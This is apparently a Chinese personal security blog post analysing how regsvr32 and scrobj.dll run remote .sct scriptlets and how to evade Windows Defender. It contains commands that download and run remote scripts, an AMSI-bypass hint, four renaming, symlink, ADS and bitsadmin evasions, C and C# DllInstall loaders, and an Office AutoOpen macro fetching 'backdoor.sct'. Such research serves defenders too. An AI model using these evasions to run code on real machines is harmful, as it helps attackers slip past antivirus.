在对 regsvr32 的用法进行了解之后,对于 Casey Smith 的远程 js 脚本执行命令的思路很感兴趣。

命令语法如下:

1
regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll

原理则是利用 com 组件的 scriptlet 注册方式,关于 scriptlet 的介绍可以参考MSDN,差不多就是用脚本形式实现 com 组件和 asp 互操作,但其实除了给 asp 调用之外还可以给其他.net 组件调用。

命令中的参数介绍:

  • /s: 静默模式,不弹框
  • /n: 不调用DllRegisterServer
  • /u: 卸载 com 组件
  • /i: 传给 DllInstall 的参数内容
  • scrobj.dll: com 服务器,全名 Windows Script Component,DllInstall方法在这个组件中实现

根据 msdn 关于 DllInstall 的介绍中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32 允许注册过程中 dll 进行一些自定义的安装过程,该过程在 DllInstall 中实现。

该函数原型如下:

1
2
3
4
HRESULT DllInstall(
BOOL bInstall,
PCWSTR pszCmdLine
);

regsvr32 中的 /i 参数指定的内容,会被直接传递到 pszCmdLine,/u 参数会将 false 传递到 bInstall,所以对 sct 文件的调用肯定在 scrobj.dll 中的 install 过程。

这么看,regsvr32 只不过是负责调用 dll 的一个工具,可能还会有写入注册表的功能。

理解到这里之后,我们在 defender 开启的情况下尝试一下这个方法,发现被拦截:

报毒:Backdoor:JS/Relvelshe.A,看受影响项目是脚本文件,可能是脚本内容没有过 amsi 检测。
文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
<?XML version="1.0"?>
<component id="TESTING">
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</component>

经测试,将 new ActiveXObject(“WScript.Shell”).Run(“calc.exe”)中字符串提出来赋值给变量就没问题了(脚本内容太复杂不好改,也可以试试直接 hook 掉 amsiscanbuffer)。

在 sct 不被杀的情况下,再次执行 regsvr32,仍然被拦截:Trojan:Win32/Powemet.A!attk

从报毒中的 cmdline 可知检测的是命令行内容,所以在网上可找到的绕过姿势有四种(参考wh0ale):

  1. 改变 scrobj.dll 的名称
1
2
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
  1. 为 scrobj.dll 创建符号链接
1
2
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
  1. 利用 NTFS ADS 功能绕过
1
2
type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
  1. 先将 sct 文件放到本地,然后执行
1
2
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll

经过上面分析,其实可以看出来其实可以不用 regsvr32.exe,使用他的目的是因为他是 windows 自带的,有微软签名,如果不考虑这个的情况下其实可以写程序直接调用 scrobj.dll 的 DllInstall 方法实现代码执行。

对于调用 dll 导出的函数,我首先想到的使用 c 实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h>

int main()
{
TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
HMODULE hDllScr = LoadLibrary(dllpath);
if (hDllScr == NULL)
{
puts("Load scrobj.dll fail!");
}
puts("Load scrobj.dll success!");
printf("Address: %p\n", hDllScr);
void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
if (DllInstallProcAddr == NULL)
{
puts("Can not found DllInstall in scrobj.dll!");
}
printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
//((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
return 0;
}

很不幸,在执行的时候一直报错:

看这个原因和 js 有关系,但是无法具体确定哪里的原因,所以没想很多直接调试,对比 regsvr32 和他调用 scrobj.dll 的区别之处,最终发现到 scrobj.dll 的一处判断的地方没通过导致报错,貌似不是 regsvr32 做了什么暗箱操作。

调了十多遍,也不知道那处判断是做什么的,休息了几天,重新回到这个问题:如何手动调用 scrobj.dll 对 DllInstall 传参?

查了半天资料,终于看到一篇文章:https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/,其中讲了两点内容:

  1. 如何不用 regsvr32 运行远程 com 脚本
  2. 在 office 宏中调用已经存在磁盘上的 dll

第一点正是我所需要的,看了之后发现这位大佬是在 office 宏中实现的,宏代码如下:

1
2
3
4
5
Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long

Sub AutoOpen()
DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") 'False ="Don't install"
End Sub

看代码,和上面我用 c 写的代码差不多,但是本地在 office 中用宏测试了一下真的可行。

经过一番思考,发现 VB 也是基于.net 平台的,是不是这个原因,我用 c 写的肯定没有.net 环境,改用 c# 试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.ComponentModel;

namespace scrobj_call_csharp
{
static class NativeMethod
{
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);

[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

}

class Program
{
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);

static void Main(string[] args)
{
const string dllPath = "scrxxobj.dll";
IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
if(hDllScr == IntPtr.Zero)
{
var lasterror = Marshal.GetLastWin32Error();
var innerEx = new Win32Exception(lasterror);
innerEx.Data.Add("LastWin32Error", lasterror);

throw new Exception("Can't load Dll " + dllPath, innerEx);
}

IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));

fDllInstall(false, "http://127.0.0.1\\ttt.txt");
}
}
}

稍微麻烦一点,但是真的调用成功了。如此看来,使用 C# 或者其他基于.net 的代码直接调用 scrobj.dll 绕过 Defender 也是可行的。


经过查资料发现 c 也可以使用.net 环境,在 vs 中新建一个 clr 空项目,将 cpp 文件添加上去编译即可!




root@kali ~# cat 重要声明
本博客所有原创文章,作者皆保留权利。转载必须包含本声明,保持文本完整,并以超链接形式注明出处【[Techliu](https://scriptboy.cn)】。查看和编写文章评论都需翻墙,为了更方便地获取文章信息,可订阅[RSS](https://feeds2.feedburner.com/techliu),如果您还没有一款喜爱的阅读器,不妨试试[Inoreader.](https://www.inoreader.com)。
root@kali ~# Thankyou!

⬆︎TOP